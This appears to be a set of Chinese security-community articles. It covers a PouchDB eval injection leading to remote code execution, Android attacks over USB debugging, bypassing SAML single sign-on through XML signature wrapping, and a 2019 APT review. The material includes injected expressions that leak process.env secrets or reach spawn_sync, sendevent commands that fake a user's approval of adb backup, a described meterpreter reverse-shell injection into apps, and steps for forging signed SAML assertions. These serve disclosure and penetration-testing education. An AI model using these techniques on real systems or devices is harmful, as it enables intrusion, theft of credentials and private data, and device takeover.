原文地址：<https://medium.com/@micaksica/from-pouchdb-to-rce-a-node-js-injection-vector-ffd1d1dd2807#.mcwipi18u>
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **默白**](http://bobao.360.cn/member/contribute?uid=2543542076)
**预估稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**
**
**前言**
PouchDB < = 6.0.4 当中包含了一个任意代码注入向量，只要维持express-pouchdb的默认配置，就可以进行无身份验证的远程代码执行。如果你已经发现一个Node.js注入，那么你还会从这篇文章中了解到一些利用技巧。
去年的SANS假日黑客挑战赛之后，我发现我开始对Node.js及其生态系统感兴趣起来。特别是最近两年物联网的兴起，Microsoft和Azure这些大公司对其进行了大力的推广。Node已经成为一些安全问题的核心，比如说几个月之前的Chalker凭据泄露事件。撇开Node包管理器长达一年半的包装问题不谈，它的系统遵循着“小模块哲学”，不同的任务由不同的模块来完成，甚至是检查某值是否在某数组中这样的事情也会交给一个模块来执行。写这篇文章时安装包的下载次数已经超过了2400万次。
这种哲学导致了大型Node应用程序或框架对于树结构的极度依赖，如果没有自动化工具，对于大多数的项目开发组来说，维护将会变得十分困难。Node.js是很容易学习的，它有一个活跃的交流社区，并且积极的鼓励利用第三方的模块去实现应用程序的一些功能。尽管这对于MVP迭代非常有利，但这种做法非常的不明智，可能会给已经保证了最小攻击面的成熟应用带来更多的安全问题。Node的哲学是有用的，因为它使得任何拥有JavaScript
web 开发能力的人都可以编写服务器端代码，使其成为一个有用的系统编程学习工具，以及新开发人员的进步跳板。
我在此请求所有的安全研究人员都能深入研究Node、libuv等各种类型的node模块，因为第三方模块太多了，往往未经审核就可以进入应用市场，被用户安装使用。其中有很多可能包含了一些非常简单的漏洞，这些应该及时报告给Node.js社区及时解决。Node安全项目的工作人员目前似乎正在处理第三方模块的所有漏洞报告，这将对应用程序安全会有很大帮助。
今年早些时候，我参与了有关 Node.js web
通用应用程序框架和数据存储话题的讨论。我花了一些时间研究PouchDB，这是一种"同步数据库"，数据存储、处理方式受到了Apache
CouchDB的启发，并且增加了一些自己的特性。在一次研究PouchDB的过程中，我发现了一个远程代码执行漏洞，并且可以在测试服务器上反弹回来一个Shell。于是我编写了PoC，并将其发送给了PouchDB的开发者。
**
**
**关于PouchDB和express-pouchdb**
* * *
PouchDB被称为“同步数据库”，但本质上是用JavaScript编写的复刻版CouchDB，将数据存储在本地设备以备联机或脱机复制。主要的应用案例应该是Cordova
或Electron支持的应用程序，其中会存在有限连接问题，所以开发者还需要一个本地数据存储。（编者按：PouchDB维护人员Nolan
Lawson写道，因为发展中国家的通信水平参差不齐，所以这种用途还是必要的。）
为了复制CouchDB 功能，PouchDB 利用了 Express.js web 框架，以及一个 express-pouchdb插件作为HTTP
中间设备解决方案，便于顺利到达远程数据库，这很像是CouchDB 的 HTTP API。PouchDB用户可以将数据通过HTTP同步到使用此
API的服务器。
奇怪的是，虽然 PouchDB 支持授权和身份验证，但是在使用PouchDB或express-pouchdb教程及默认设置时，既不需要授权，也无需身份验证；pouchdb-auth似乎是一个单独的插件。运行PouchDB文档的示例程序会使得express-pouchdb服务器门户大开。我目前发现的RCE漏洞应该只是对有权限访问数据库的用户有用，但是考虑到默认设置并不安全，这种注入应该可以在默认
express-pouchdb服务器中顺利实现。
此漏洞主要与 _temp_view 端点，以及视图如何在 PouchDB
中内部工作有关。在Couch/Pouch中，视图和设计文件都是脚本文件，允许管理员进行自定义的数据转换。_Temp_view
端点运行一次性视图。CouchDB 表示从性能角度出发，这些不应该被应用于生产环境中。
用户使用 _temp_view 端点可以添加任意的 JavaScript
函数来处理提供的数据。一般来说，对于一个安全研究人员来说挖掘到服务端任意代码执行漏洞总是会让人激动的，所以我在发现这个端点之后立刻开始“找茬”。
**PouchDB和_temp_view**
* * *
现在让我们看看 PouchDB 是如何实现此视图基础构造的。我们已经在使用
JavaScript了，因此对于解释型编程语言JavaScript来说是很简单的：有一个很好的内置函数叫做eval，十多年来几乎每一位JavaScript开发者都被告知最好不要使用这一函数。碰巧的是，在express-pouchdb中
PouchDB用来运行视图的函数就是eval。假设用户通过npm下载安装pouchdb，该函数会在lib/index.js:6201中被触发。（注：较新版本的Node包管理器其实已经对于PouchDB的另一个依赖tough-cookie易受到Regexp DoS攻击发出警告。）
这个eval函数使用的是另一个node插件scope-eval，该插件通过Function.apply在一定范围内传送数据。本模块代码全部以CoffeeScript形式呈现。
在此范围之外没有找到该函数的沙箱，那么，是否可以全局访问呢？
**
**
**任意代码执行：从信息泄露到拒绝服务到反弹shell**
* * *
我最开始试图注入一个Node请求，但是没有成功，因为在注入代码范围内不存在请求。尽管在范围内查看所有数据几乎是不可能的，但是幸好我们也不需要查看所有信息，我只需要一个注入
console.log。我的测试服务器包含了对于 Node.process的引用，这是一个含有内部过程状态的全局引用，还包含了对于许多函数的引用。
在这一阶段，注入漏洞使得从this.process.env窃取信息变得十分容易，其中可能会泄露AWS密钥、CSRF密钥等；注入this.process.exit()还会出现一个可注入的、一次性拒绝服务漏洞，或者对使用同一用户身份运行PID的其他租户进程造成损害。
但是代码执行又是什么情况呢？正如上文所述，我们没有办法访问请求，一个Node.js
开发人员使用的主函数当中会包含自己的Node代码。在这种情况下，这都不是问题，只是限制我们加载Node
JavaScript模块。通过Node加载模块，我们在注入点会有一个所有模块的引用树，这些模块都是由this.process.mainModule树中的Express服务器运行的JS主脚本加载的，以及在本地Node绑定的this.process.binding加载。
在渗透测试中，我认为最好首先在 process.env
附近挖掘出密钥，然后检查其他可能含有process.mainModule内存配置数据的加载模块。树上的每片”叶子“都包含了模块导出的函数引用；我最初编写了一个小导航函数，用来查找含有child_process的函数，但是没有找到。
注：关于“你有RCE，现在能做什么？”这一话题，将会在我之后要写的"Node.js/Express.js应用程序通用漏洞利用代码"一文中进行更加深入的探讨。文章大致已经完成了，但我还想在发表之前得到一些更清楚的PoC代码。
在Node本机，我们有bindings，这是Node内部库使用的本机C-to-JS
绑定。获得一个shell最常用的两个绑定就是Process和spawn_sync，两个都由Node的内部 child_process
模块所使用的。为了PoC目标，同时限制有效荷载大小，我选择使用
spawn_sync，这会产生系统中，这非常显而易见，因为你创建了一个新进程会导致监听器受阻，从而终止服务。为了证明此漏洞，我们打算选择隐身，以便更快捷的达成目标，而不是一味重复
child_process模块中一半的内容。
**实现远程代码执行的payload**
* * *
this.process.binding(‘spawn_sync’)代码是一个C绑定；使用这一代码时会存在一些不安全因素，也可能会引发一些底层漏洞。（如果你是一个底层逆向工程师，那我确认你一定可以在这里挖掘出一些我没有发现的问题）我们将执行的方法是
SyncProcessRunner::Spawn ，这会带来一些参数，并生成一个相关进程。
知道了这些，我们就可以在用户使用类似有效荷载运行的Node.js进程的同时运行任意二进制文件。
我正在为此编写一个Metasploit
模块。此exploit的伪代码和存在漏洞的应用程序源码在GitLab都可以找到；等到修补程序获得现有用户群的认可，我就会发布我的结果以及Metasploit
模块。
**结论，修补程序以及解决方案**
* * *
每个新框架和数据库出现时，我们都从来不会信任用户输入。PouchDB在2012年意识到存在不同的eval问题，然后关闭了该问题，尽管在文本中没有将其作为一个问题提出。这个RCE
exploit在PouchDB 5.4.4和express-pouchdb 1.0.6中测试成功，PouchDB 5.4.5也存在同样的问题。
在与PouchDB维护人员和Node
Security的工作人员取得联系之后，我们针对6.0.5中的注入推出了一个修补程序。用户仍应实施纵深防御，并且努力限制某些来自express-pouchdb的URI。一个常见的解决方法就是在express-pouchdb中设置
minimumForPouchDB标志。在撰写本文时这不会违反任何规定。PouchDB用户首先应该确认身份验证，其次是授权，并且最好是在PouchDB反向代理之前。不要允许
_temp_view之类的路径，这会使得服务器上存在远程代码执行。再次强调，一个开发者从来不会信任任何的用户输入。
**披露时间轴**
* * *
调查开源漏洞时，我遵循了谷歌Zero项目的披露时间线和进程。我在发现漏洞的第一时间与团队取得了联系，同时发送了一个有效的PoC，以及一个用Python编写的可反弹shell的exploit。
撰写本文时，PouchDB还没有回复自己的安全报告进程，所以我联系了信任的核心维护人员，希望能够得到开发者的公共配置文件。
2016.07.29：发现漏洞，用PoC上报给 @nolanlawson。
2016.07.30：通过 Twitter 联系Nolan，他说邮件被自动划分为了垃圾邮件，但是还没有得到证实。
2016.07.31：通过电子邮件将漏洞信息发送给 @calvinmetcalf 。
2016.08.01：Calvin没有回应；发送邮件和Twitter给Dale Harvey，所有的核心维护人员都积极看待这一问题。
2016.08.06：联系Nolan Lawson，他确认收到了漏洞报告。
2016.08.18：确认正在编写修补程序，将建议以及披露时间轴发送给Node安全项目工作人员，CVE仍旧悬而未决。
2016.09.18：发布针对PouchDB 6.0.5的修补程序。
2016.09.19：NSP 证实正在准备发布安全警告。
2016.10.17：NSP 发布安全警告。
2016.10.27：商定90天内披露时间轴。 | 社区文章 |
# 【技术分享】Android开启USB调试可以做到什么程度的攻击
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **bobb** ****](http://bobao.360.cn/member/contribute?uid=404360756)
**稿费：400RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[ **网页版**
****](http://bobao.360.cn/contribute/index) **在线投稿**
**0x01 初衷以及适用场景**
android的usb调试模式本是为开发者而设计的，开发者在应用开发的过程中可用其对应用进行调试或测试。
adb提供一系列有助于开发的功能，例如应用安装与卸载，备份与恢复，日志的输出与过滤，并且，它还提供一个权限相当可观的、很人性化的adb shell。
除开发者外，逆向分析人员在对应用进行逆向分析以及动态调试的时候，也会使用到adb接口，例如通过该接口对so或者smali进行动态调试与跟踪，动态对一些功能性的代码进行验证等等。
然而便利性与安全性在一定程度上是成反比的，在其丰富的功能之下，也存在着一系列安全问题。
**0x02 adb的信息泄露与权限泄露问题**
如果应用在发布时，没有把logcat所输出的调试信息删除掉，那么很有可能造成敏感信息的泄露，轻微的情况，例如logcat可能打印出应用所访问的网页链接或者一些其它的中间变量，重则可能把账号密码也给泄露出来，毕竟安卓开发门槛低，开发者水平难免参差不齐。
为了方便调试，开发者甚至可能会这么写：
安卓logcat信息泄露的情况在曾经的乌云上披露过很多起，例如：
WooYun: 途牛网app logcat信息泄露用户的同团聊的聊天内容
WooYun: 冲浪浏览器logcat出用户短信
WooYun: 杭州银行Android客户端登录账号密码信息本地泄露
此外，当前市面上很多安卓应用漏洞扫描平台也会着重把logcat的滥用扫描出来呈现于报告中，例如腾讯金刚审计系统、阿里聚安全、360显危镜（前捉虫猎手）等。这也从侧面体现了这个问题的普遍性。
除了开发者的失误之外，adb本身的设计方面也有一些瑕疵，曾经有一篇论文专门对该问题进行过研究：《Bittersweet ADB : Attacks and
Defenses》。
通过ADB或者一个申请了ADB权限的Android应用程序，可以在不申请权限的情况下监控短信、电话记录等隐私信息，监控/模拟屏幕点击事件，访问其它应用程序的私有目录，对Android设备进行DoS攻击等。
而上述行为大部分可以通过adb shell dumpsys命令得到，更具体内容可查看参考链接[2]。
**
**
**0x03 安卓备份问题**
这是一个相当古老的问题了，在低版本的安卓系统中，在对某个应用进行备份操作时，会将其私有数据一并给备份出来，然后即可通过特定的工具把它们提取出来，如下图：
那么应用的私有数据中一般有些什么？首先便会有个人的身份凭证，或者是账号密码或者是别的凭证，一般应用对私有数据是比较有信心的，毕竟它被称为“私有数据”，因而挺多应用都直接明文存着，有些虽然有加密处理，但是通过对应用的逆向分析，即可将数据进行解密，例如从某客户端中backup出的内容中含有如下文件：
通过对apk进行逆向可发现其解密过程，照着解密类与方法抄一遍即可解密：
又如微信的数据库，有文章曾分析过微信数据库的加密过程，并给出了其加密密钥的生成方式，如果微信本地数据库，uin，imei同时被拿到，便可根据后两者算出数据库的加密密钥，并对加密后的数据库进行解密，这时你的所有聊天记录都直接晒在太阳下了。
除了直接手动解密数据以外，还可以将这些数据通过adb
restore原封不动地恢复到另一个手机上，从而进行身份伪造，例如droidsec上的文章《两分钟窃取身边女神微博帐号》（参考链接[4]）
有人注意到在使用adb backup时需要手动点击确认才可进行备份，如果攻击者没有机会点击屏幕，就没有问题了，不过安卓有个机制叫做输入输出子系统，在adb
shell 下可以执行sendevent命令，可以模拟各种用户输入，具体每种机型不一样，在我的机器上发送如下event便可模拟点击允许操作：
#EV_KEY BTN_TOUCH DOWN
sendevent /dev/input/event7 1 330 1
#EV_ABS ABS_MT_POSITION_X 366
sendevent /dev/input/event7 3 53 366
#EV_ABS ABS_MT_POSITION_Y 690
sendevent /dev/input/event7 3 54 690
#EV_SYN SYN_REPORT 00000000
sendevent /dev/input/event7 0 0 0
#EV_KEY BTN_TOUCH UP
sendevent /dev/input/event7 1 330 0
#EV_SYN SYN_REPORT 00000000
sendevent /dev/input/event7 0 0 0
**0x04 通过adb种马**
既然通过adb可以安装应用，而且还是静默的，那么自然也可以在用户没有感知的情况下给你种个马。
不过一般的马可能并没有图标与界面等等增加被发现几率的东西，而没有被launch过的应用是不能运行的，也就是说它们所注册的BroadcastReceiver都是收不到东西的，
它需要一个唤醒的过程。
所幸adb shell也可以实现这个唤醒过程，通过adb shell am命令可以启动特定应用包的特定组件，如此小马就可以成功跑起来了。
当然，如果攻击者有更强劲的方式，例如直接adb push一个exploit上去，提权到root，就更加简单粗暴了。
**0x05 恶意代码注入**
这种手段就相对优雅一些了，在连接usb调试的情况下，可以通过一系列命令，向手机上已安装的应用中注入一段自定义的恶意代码，这段代码可以是简单地弹一声问候，也可以是非常复杂的远控。
为了进一步增加可信度，可以选本来就申请了很高权限的应用进行注入，例如对一款通讯录管理软件进行注入后，它请求读取你的联系人列表，看起来没毛病。
尽管学术界与工业界有很多防止重打包的措施，但是在实际测试中，这种攻击手段的成功率着实不低，并且，就算对某个应用注入失败了，最粗暴的方法还可以pm list
packages -3把所有的包都列出来都搞一遍试试。
以下我自己写了一个简单的程序，对开启USB调试的手机上某应用注入一段metasploit meterpreter http reverse
shell的payload，整个过程中不需要对手机进行任何操作，大体工作流程如下：
当再次点击注入后的应用之后，在监听服务器上开启的handler上即可接收到一个meterpreter的shell :
以上，便可在服务端对安卓应用进行远程控制了，拿到Android meterpreter
shell之后，可以做的事情很多，包括隐私窃取、发送短信，打开网页，截图、照相。
甚至，可以调用你的前置后置摄像头进行实时监控。
所支持的部分指令如下：
**0x06 最后**
在4.4以后的安卓版本，若要连接android设备上的adbd，需要对host机器进行指纹的验证，这在很大程度上又降低了通过这些方式被攻击的可能性。不过如今PC上的安卓管理软件都是大力提倡你打开usb调试，甚至会一步一步教你怎么打开，因此还是会有相当大一部分人暴露在此风险之下。
如上可见，通过adb可以做的事情还是很多的，以上只是列举了一部分，并且是当前常用的一些小手段，想要完全防止被上述手段攻击，最简单而有效的办法便是关闭USB调试，并且尽量在正规的应用市场下载可信的应用。
毕竟，设想如果你正在火车站或者某公共场所，使用不知谁放在那儿的公共充电插口，其背后是一台恶意的计算机，而你刚好打开了，或者在它的诱导下，打开了USB调试…
**参考链接：**
[1] <http://wolfeye.baidu.com/blog/logcat-leak-sensitive-information/>
[2] <https://loccs.sjtu.edu.cn//~evermars/blog/2015/04/29/paper_reading_adb/>
[3] <http://blog.csdn.net/yuanbohx/article/details/41674949>
[4] <http://www.droidsec.cn/%E8%AF%A6%E8%A7%A3android-app-allowbackup%E9%85%8D%E7%BD%AE%E5%B8%A6%E6%9D%A5%E7%9A%84%E9%A3%8E%E9%99%A9/> | 社区文章 |
# 通过XML签名攻击绕过SAML2.0单点登录
##### 译文声明
本文是翻译文章，文章原作者 eridunas96，文章来源：aurainfosec.io
原文地址：<http://research.aurainfosec.io/bypassing-saml20-SSO/>
译文仅供参考，具体内容表达以及含义原文为准。
##
## 0\. 前言
近期我们发现，有很多新西兰网站都采用了单点登录（SSO）的方式，这其中包括很多政府网站。实现单点登录，最常见的一个标准就是SAML
2.0（安全声明标记语言），该标准对多种框架和语言都拥有良好的适配性。通常我们使用签名，来防止用于验证用户身份的SAML响应被篡改。然而，还是有许多SAML使用者没有正确地验证响应，这就带来了攻击认证过程和完全绕过认证的潜在风险。
##
## 1\. SAML 2.0单点登录
我们在通过SAML2.0登陆到网站时，会涉及到三种角色：服务提供者（SP，我们要访问的Web应用程序）、使用者（正在登录的用户）和身份提供者（IdP，认证管理）。我们的目的是，要让身份提供者以可靠的方式告诉服务提供者，谁才是使用者。
由此，我们需要让服务提供者，将使用者重定向到带有SAML请求的身份提供者的系统之中。一旦身份提供者确认使用者的身份，就会将SAML响应发送回服务提供者。对于Web单点登录来说，主要有三种通信方式，官方标准中将其称为“绑定”：
HTTP重定向绑定，是将SAML消息直接包含在URL中。
HTTP POST绑定，将SAML消息包含在POST请求之中。
HTTP工件绑定，我们发送一个随机的token，它将作为标识符，通过一个反向信道来获取文档。
前两种绑定方式，在实现的过程中可能会产生一些严重的问题。
##
## 2\. 识别SAML响应
如上所述，SAML响应通常会在URL中传递，就像是这样：
或者是在POST请求中传递，像这样：
这两种传递方式，都可以由攻击者控制直接进行。但假如你看到的是像这样的SAML工件：
那么攻击者可能就真的无能为力了。因为这些token会被解析为原始消息，随后通过一个反向信道获取，除非攻击者有权访问攻击目标的私有网络（可以借助SSL/TLS漏洞），否则这些token对于攻击者来说毫无用处。
##
## 3\. 在传输过程中对消息进行保护
这里的安全问题，就在于HTTP重定向绑定和HTTP
POST绑定这两种方式。从身份提供者获取到文档，将会通过用户的浏览器传递，从而验证身份。而正是在这一消息传输过程中，有可能被篡改。HTTP工具绑定就不存在这一安全问题。
如果这些消息缺少保护，攻击者可能会通过简单地修改返回的响应数据来伪装身份。例如，我以Tim的身份登录到身份提供者，随后我可以对响应文档进行修改，伪装成Emmanuel。更进一步，我们甚至可以伪造整个响应，真正意义上假装自己是Emmanuel。
显然，SMAL标准制定者也不会放任这个漏洞的存在，他们已经做了很大努力去解决这一问题。他们的解决方案是，为每一条消息附加一个XML签名，以防止消息被篡改。
##
## 4\. XML签名标准
XML签名标准是一个庞然大物，由一个大神云集的工作小组设计而成，其目标是成为一个完美适配所有场景的XML文档抗篡改解决方案。但事实并不如愿，现实的情况是，它并没能适配上任何场景。
在通常情况下，使用数字签名时，我们将文档签名，然后运行一个密码散列函数来计算出其哈希值，随后对该哈希值使用数字签名算法。如果收到的文档和原文档完全相同，那么签名有效。否则，即使只有一位，签名都存在改动，签名都会变为无效，并且文档也不会被承认。
不幸的是，XML签名有一个致命的特性：该标准允许我们可以对文档的一部分进行签名，而不是必须对整个文档进行签名，并将这个签名嵌入到应该验证的文档之中，即所谓的内联签名。该签名会引用文档的一部分，通常是XML元素的ID属性，但理论上允许将符合XPath标准的任意内容作为表达式。理论上，我可以在文档的任意位置写入指向“third
to last <foo> element”的签名，或者类似的模糊表达式。
在对XML签名进行验证时，假如只确认“该签名是否来源于签名者”还远远不够。我们必须还要确认“签名是否存在”、“签名是否指向了文档的正确位置”“是否正确地应用了标准”、“签名是否有效”。而普遍来说，很少有对以上所说的每一项都进行检查的。
## 5\. SAML Raider插件的使用方法
尽管有很多攻击都可以不借助工具进行，但我们还是需要介绍一个Burp Suite的插件，SAML
Raider。借助该插件，就能对SAML的安全性进行全面的测试。
##
## 6\. 测试过程
如上文所说，签名可能会出现在SAML消息中的不同位置，并且覆盖消息的各个部分。如果我们保留原有消息内容，再增加新的内容，同时修改剩余部分的结构，我们就能构造出一个带有合法签名的新消息。这一消息，会被SAML库解析为含有签名的关键内容的消息，但事实并非如此。
每一次服务提供者的验证，都有可能是在进行不正确的验证，这就给了我们绕过签名验证的机会。打开Burp的拦截功能，捕获SAML请求，然后尝试对这些请求内容进行转换。每一次尝试转换，都要根据一个新的、有效的登录动作来完成，因为它有一个Nonce来防范重播攻击。
针对需要多次尝试的情况，建议按照以下方式设置Burp的Proxy：
###
### 6.1 签名是否必须？
SAML标准要求，通过非安全信道（如用户的浏览器）传输的所有消息都必须进行数字签名。然而，如果消息是通过安全信道（如SSL/TLS反向通道）进行传输，那就可以不进行签名。由此我们发现，SAML的使用者会在签名存在时对其进行验证，并在签名被删除的情况下跳过验证。这一设计，是建立在我们已经检查了来自非安全信道的消息是否签名的前提之下，然而事实并非如此。
这一问题所产生的漏洞是，我们可以直接删除消息中的签名，并篡改SAML响应，伪造成未经签名的消息。SAML Raider插件可以轻松完成该项的测试：
###
### 6.2 签名是否已验证？
要验证一个XML签名是非常复杂的，根据标准，首先需要进行一系列的转换和规范化步骤（例如：忽略空字符）。这就使得一些没有完备功能的XML签名库在验证签名方面实现起来十分困难，也产生了一些影响：
1\. 开发人员通常不了解签名验证的内部原理；
2\. 一些中间组件（如WAF）无法获知签名是否有效；
3\. 签名库可能存在一些配置选项，如允许的规范化方法列表，对开发人员来说毫无意义。
签名标准的实现本来就很困难，再加上该标准难以理解，就直接导致了我们现在遇到的这些问题。
不过，要测试一个签名是否有效，方法很简单。我们可以在已签名的内容中修改一些地方，并观察是否会导致中断。
### 6.3 签名是否来自正确的签署人？
另一个重要的问题，就是接收方是否验证了签名者的身份。我们不清楚是否对这一部分进行了正确的判断，但SAML Raider插件可以轻松地测试这一方面。
将签名证书复制到SAML Raider的证书存储区：
保存之后对此证书进行自签名，所以现在我们便有了一个相同证书的自签名副本。
这时，我们就可以使用这个自签名证书，对原始请求再次进行签名。我们可以选择对整个消息进行签名，也可以选择只对声明的部分进行签名。
我们可以根据实际情况选择其中的一种方式，或者两种方式都进行尝试。
###
### 6.4 是否已经对响应中正确的部分进行签名？
首先，我们来看看XSW攻击原理。
SAML标准所允许的签名存在的位置仅有两处：
1\. 签名位于响应（Response）标签中，对响应标签及其子节点进行签名；
2\. 签名位于声明（Assertion）标签中，对声明标签及其子节点进行签名。
SAML标准对允许签名存在的位置以及允许被签名的内容都有具体的描述。
然而，没有人仅仅为了使用SAML，就完整地实现复杂的XML签名机制。这一标准是通用的，标准的实现及其软件库也是如此。因此，就有了如下的“职责分离”：
1\. XML签名库根据XML验证标准验证签名，它允许从任何地方签名任何内容；
2\. SAML库期望XML签名库告诉它响应消息是否有效。
在两个组件之间，往往会缺少对于必要规则的判断机制。因此，我们就可以将签名引用到文档的不同位置，并且让接受者认为签名是有效的。
通过复制文档的签名部分，同时确保签名数据指向副本，我们可以将XML签名库的验证内容和SAML库的所需内容分开。
针对绝大多数常见的攻击，SAML Raider插件都可以自动进行。
我们可以尝试下拉菜单中的每一个选项，点击“Apply XSW”发送请求数据。如果没有产生错误，我们可以修改SAML
XML中的用户名或其他用户标识符，并再次尝试执行该操作。
##
## 7\. 使用限制及手动测试方法
虽然SAML Raider能测试常见的绝大多数情况，但我们还需要对一些攻击有更深入的理解：
1\. 生成一个会对XML Schema进行验证的响应（需要在可能包含xs:any的元素中隐藏影子副本）；
2\. 当Response和Assertion都被签名和验证时，如何绕过验证；
3\. 在非SAML上下文中绕过XML签名，例如：在使用WS-Security扩展的SOAP Endpoints中。
如果SAML Raider插件现有的选项都不起作用，我们可以尝试手动测试：
1\. 对Base64编码后内容进行解码，以获取SAML响应XML。
2\. 检查签名的Reference标签是否包含被签名元素的ID。
3\. 将签名的内容复制到文档中的其他位置（通常可以放在Response标签的末尾；如需验证XML Schema，则要放在不会破坏XML
Schema的位置）。
4\.
从副本中删除XML签名，并在原始版本中保留。这是有必要的，因为XML封装签名标准会删除将要被验证的签名。在原始文档中，这就是所包含的签名，所以我们必须将其从副本中删除。
5\. 将原始签名元素的ID改为其他值（可以通过更改其中1个字母）；
6\. 修改原始声明的内容；
7\. 对以上内容重新进行Base64编码，将其放回请求中并提交。
如果签名验证指向该副本，那么它将忽略我们所做的更改。在实际中，如果对请求有着严格的时间限制，我们应该可以很快地完成这一过程。
##
## 8\. SAML渗透测试检查清单
1\. SAML响应是否通过Web浏览器？
2\. 响应内容是否签名？如果没有签名，尝试修改内容。
3\. 如果删除签名，响应内容是否会被接受？
4\. 如使用其他证书重新签名，响应内容是否会被接受？
5\. 使用SAML Raider自带的8种转换方式生成的结果是否会被接受？
6\. 如果我们更改响应，更改后的响应是否会被接受？
7\. 是否遇到了上文所述的SAML Raider的局限性？如果是，则需要尝试手动测试方法。 | 社区文章 |
# 2019年度APT攻击回顾
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
大家好，我是零日情报局。
大国战争有两面，一面是传统战争—炮火，另一面是网络战争—APT。
而只要稍微总结一下你就会发现，近年来，APT攻击已成为争夺地球话语权的主流战争形态。
有这样一串案例：
今年开年，臭名昭著的朝鲜APT组织Lazarus锁定以色列国防公司，预谋窃取以方军事、商业机密，这也是Lazarus第一次攻击以色列实体组织；
同期，委内瑞拉遭受极为严重的网络打击，全境大面积断电断水，国民生产生活陷入瘫痪，国家接近崩溃边缘，嫌疑直指美国策划该攻击事件；
4月，外媒曝光俄罗斯背景组织APT28（Fancy Bear）攻击乌克兰2019年大选活动；
6月，《纽约时报》披露美国政府预加强对俄电网数字入侵。同月，阿根廷、乌拉圭等南美国家遭受网络攻击，大规模断电断网席卷南美；
7月，委内瑞拉再度因网络攻击上演大停电，这一次首都亦未能幸免，全境陷入“末日”一般的悲惨世界；
10月，乌克兰外交官、政府和军事官员以及执法部门人员，遭遇APT组织Gamaredon武器化文件定向打击；
11月，印度独立网络核电站Kudankulam遭遇疑似朝鲜APT组织Lazarus攻击，据传攻击已渗透至核心系统；
12月，IBM披露中东工业和能源行业，遭伊朗APT34（Oilrig）恶意数据擦除软件ZeroCleare的“摧毁型”攻击；
（2019年最为活跃的APT组织）
APT格局不断变化，但隐藏在APT攻击迷雾背后的，是国家间的博弈与较量。遵从“利益至上”内核逻辑，零日详细梳理2019年度APT攻击七大趋势，分享一家之言，有不同看法欢迎讨论。
## 一、APT与地缘政治同频
地缘政治上不可调和的矛盾，几乎是国家级APT攻击的起点。尤其是相邻力量之间“你死我活”的关系，使网络打击来得更加蛮横和不计后果。
比如，在局势高度紧张的中东海湾地区，伊朗APT黑客就频频向中东友邻“发福利”。从APT33、APT34（Oilrig）到MuddyWater等伊朗系组织，明中暗中小动作不断，而政敌沙特总能拿到头彩，今年沙特的石油国企、工业和能源部就屡次中招。
当然了，在伊朗老司机的带领下，叙利亚小老弟为了保国续命，也效仿大哥组建网络军团，根据360安全大脑报告，叙利亚电子军（SEA）就是第一支在国家网络上设立的公共互联网军队。
（中东地区APT攻击频发）
又比如暗流不断的东亚地区，这个地区APT冲突焦点在朝鲜。恶名远扬的Lazarus
Group、Group123（APT37），以及新曝光的DarkHotel组织，可以这么说，如果朝鲜半岛的局势还维持在失控边缘，那么朝鲜APT攻击早已凶猛成灾。
远一点的南美地区同样一地鸡毛。大家都知道，美国经常性PUA南美，包括干涉内政、扶持反对党，所以2019年，委内瑞拉、阿根廷等南美五国频繁遭遇大型网络攻击，多次断网断电断水，与美国不可告人的政治目的难逃干系。
以上不难看出，地域政治局势越发紧张、地域安全形势越发复杂的地区，APT攻击也最为严重、频繁且复杂，前面提到伊朗所在的中东，朝鲜所在的东亚，就是典型。
## 二、APT攻击目标工控产业化
自2010年震网事件以来，APT攻击往往伴随着现实世界重大政治、外交活动或军事冲突，这也与APT攻击发起的动机和时机相符；
但是最近，尤其是2019年，APT攻击从以前严格的政治、军事、外交目标，转向工控产业化和关键基础设施领域。至于攻击效果与造成损失，就更加难以统计与估量。
这里又一次提到满嘴自由民主的美国，今年三番四次针对委内瑞拉、阿根廷等南美国家电力系统发起攻击。造成全国性交通瘫痪，医院手术中断，所有通讯线路中断，航班无法正常起降，群众暴乱，超过4800万普通民众，工作生活无法正常运转。
（网络攻击瞄准南美洲五国电力系统）
站在攻击者的角度，相比于纯政治、军事、外交目标，面向电力等工控系统和关键信息基础设施的打击，因系统间牵制和连锁的故障反应，更易引发全民性的“雪崩效应”。
## 三、经济、政治、情报几手抓
为什么国家力量纷纷入局APT，归根到底其实是利益冲突，只不过这个利益，涉及经济、政治、情报等多个重要板块。
经济犯罪：出于经济目的，前有Lazarus组织为了朝鲜国家利益的大规模金钱窃取行动，后有越南背景APT组织OceanLotus（海莲花），相继攻击德、日、韩多国汽车巨头企业，为的是替自己国家汽车制造企业发展开路；
（德国宝马遭OceanLotus组织攻击）
政治报复：至于肩扛反美大旗的委内瑞拉，主要是因政治立场相悖，遭美国报复性打击，水、电、网等基础设施崩盘，城市停摆暴乱频发；
情报窃取：政治经济之外，情报窃取监控也是APT组织长期维护国家利益的常用路数。今年，360安全大脑报告提到，活跃于中东地区的APT组织黄金雕（APT-C-34），就长期专注于情报窃取监控的无线电监听。
## 四、供应链攻击成APT常态
供应链攻击，常常又被称为第三方攻击，简单说来就是攻击者利用有权访问目标系统的外部合作伙伴，入侵目标的一种技术策略，而一旦成功立即影响大量网络资产。
此法虽然迂回，但是隐蔽，所以近年来，拥有伊朗、俄罗斯等国支持背景的APT组织，越来越多采用这种入侵第三方的“曲线作战”方式，频频危害和扰乱敌对国的基础设施以及商业前景。
就在19年年初，卡巴斯基报告了影锤行动（ShadowHammer），披露这是一起利用华硕升级服务的供应链攻击，不计其数的用户在使用该软件更新时可能会安装植入后门程序的软件更新包。
（卡巴斯基披露华硕遭APT复杂供应链攻击）
今年2月，赛门铁克发布报告，以真实数据说明，过去一年全球供应链攻击爆增78%，并特别强调2019年全球范围内供应链攻击活动仍在继续扩大。
## 五、混淆手段复杂化
事实上，最近APT攻击者，会耗费更多精力在花里胡哨的代码混肴上，这样做的意义在于身份隐藏和伪装，给威胁溯源制造更大的麻烦。
就以朝鲜APT组织Lazarus为例，他们非常惯用代码混淆隐匿，特意在自己的代码中加入其他APT组织的木马特征，以迷惑对方及安全分析人员。
（朝鲜恶意软件典型特征片段）
